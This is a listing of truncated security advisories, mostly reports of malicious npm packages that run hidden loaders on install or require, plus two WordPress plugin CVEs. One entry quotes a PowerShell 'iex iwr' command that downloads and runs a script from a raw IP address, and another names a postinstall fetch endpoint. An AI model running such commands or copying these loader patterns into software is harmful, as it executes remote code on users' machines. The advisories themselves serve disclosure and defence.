Malicious code in app-kst-engine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 08cfc426d2f4b29bba2b81f2eb56eeee32ab114338a51fae5eeced2571e6b2d9 On npm install, package.json's postinstall runs node test.js, which triggers three malicious paths against the installer. 1 A recursive scan of the...

Malicious code in app-hsu-layer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ad1ccd2bfbe4abd87e980067608328d6c0a6cb3d1145d8d8ff8d72a22667f00d On npm install, the package's postinstall script runs test.js, which imports index.js and immediately invokes two harvesting/backdoor routines. The...

Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

MAL-2026-13350 Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

MAL-2026-13147 Malicious code in dolyame-ui-colors (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d5a8bea0bf750cf5c6be413201bef52e6f8e174f7e8f954abc933aedad216310 [email protected] is advertised as a React UI color library but its main entry requires./shim.js on load, which acts as a platform-aware binar...

MAL-2026-13194 Malicious code in dolyame-ui-textarea (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 24932ddb1e2cd6672b95aae062c330f9aec9d68ee293488d54d195fbbf0acc52 The package's main entry unconditionally requires./loader.js on load. loader.js assembles mirror hostnames from split string arrays to build a set of...

MAL-2026-12926 Malicious code in bnpl-blocks-desktop-bnpl-header-catalog (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d77aab31095b1d13ea26c5ca29398e01a205ed0766fe95d5d8978751ebd75e35 The package presents itself as a 'logging middleware' but its index.js unconditionally requires loader.js on module load. loader.js selects a per-OS...

Malicious code in bnpl-blocks-independent-bnpl-product-grid (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 398d16a0c0dbc5af823fe61d71d41dffc0bbaac820b948fb9310a250e2ed966e The package advertises a BNPL product-grid block, but top-level require'./platform' from index.js triggers platform.js, which on load selects a...

Malicious code in boxy-add-script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a91c45a1de3e17ac4c6595c6eac76736684ef353e3040a3e82b42e76911952 On require'boxy-add-script', index.js loads polyfill.js which reconstructs Cloudflare Worker hostnames from string-array fragments...

MAL-2026-13030 Malicious code in boxy-add-script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a91c45a1de3e17ac4c6595c6eac76736684ef353e3040a3e82b42e76911952 On require'boxy-add-script', index.js loads polyfill.js which reconstructs Cloudflare Worker hostnames from string-array fragments...

Malicious code in boxy-scroll-providers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c713e8e4ae3018f2614b7185c98b1f86dffcb684387e6a454d30a2c6eb8b89db On require of boxy-scroll-providers, index.js loads bootstrap.js which selects an OS-specific endpoint, downloads an opaque binary from obfuscated...

Malicious code in boxy-tokens (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bfb29953971bb0c3eae94e97f7a9efe132bd4a954252ae52c989f990f389d098 index.js unconditionally requires./setup.js on module load. setup.js assembles Cloudflare Workers hostnames from split-string arrays...

CVE-2026-17506

The Independent Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 404 notfoundurl tracking parameter in versions up to, and including, 2.15.0. This is due to the getcellcontent function applying urldecode after escurl when rendering the URL column for 404 entries...

MAL-2026-12546 Malicious code in checkout-cashback-logic (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 493f562fef163499ed128f94b588b857aa8016e563a6291459cfe79f0c8571b3 [email protected] silently requires bootstrap.js when the package is loaded. The bootstrap script assembles Cloudflare Workers subdomain...

Malicious code in custom-plugins-request-factory (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c25a4c4f3672ed82aa59bcac3fff0c6eadcb3eb35add0f52155c4436cba62c52 The package's main entry auto-requires setup.js on load, which fetches a platform-specific executable from split-string-obfuscated Cloudflare Workers...

MAL-2026-12668 Malicious code in custom-plugins-request-factory (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c25a4c4f3672ed82aa59bcac3fff0c6eadcb3eb35add0f52155c4436cba62c52 The package's main entry auto-requires setup.js on load, which fetches a platform-specific executable from split-string-obfuscated Cloudflare Workers...

Malicious code in devplatform-nx-devkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc4017373371f50665290c944ee840b2ad4a7e745dcb5eb973f977185b150ac7 The package presents as a devkit for the Nx ecosystem but ships a trivial no-op class in index.js alongside a hidden shim.js. On require, index.js...

Malicious code in strath (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b9ae02b92920c1e028b5785e69013ea4662e4eb3180872531d64ccca00eef239 The package declares a postinstall script that runs dist/config.js. That script fetches JSON from https://my-api.trade-api.workers.dev?id=2 and then...

MAL-2026-12805 Malicious code in strath (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b9ae02b92920c1e028b5785e69013ea4662e4eb3180872531d64ccca00eef239 The package declares a postinstall script that runs dist/config.js. That script fetches JSON from https://my-api.trade-api.workers.dev?id=2 and then...

CVE-2026-7456 Udimi Tools <= 3.2 - Missing Authorization to Authenticated (Subscriber+) Plugin Configuration Reset via 'disconnect' AJAX Action

The Udimi Tools plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajaxdisconnect function in all versions up to, and including, 3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete...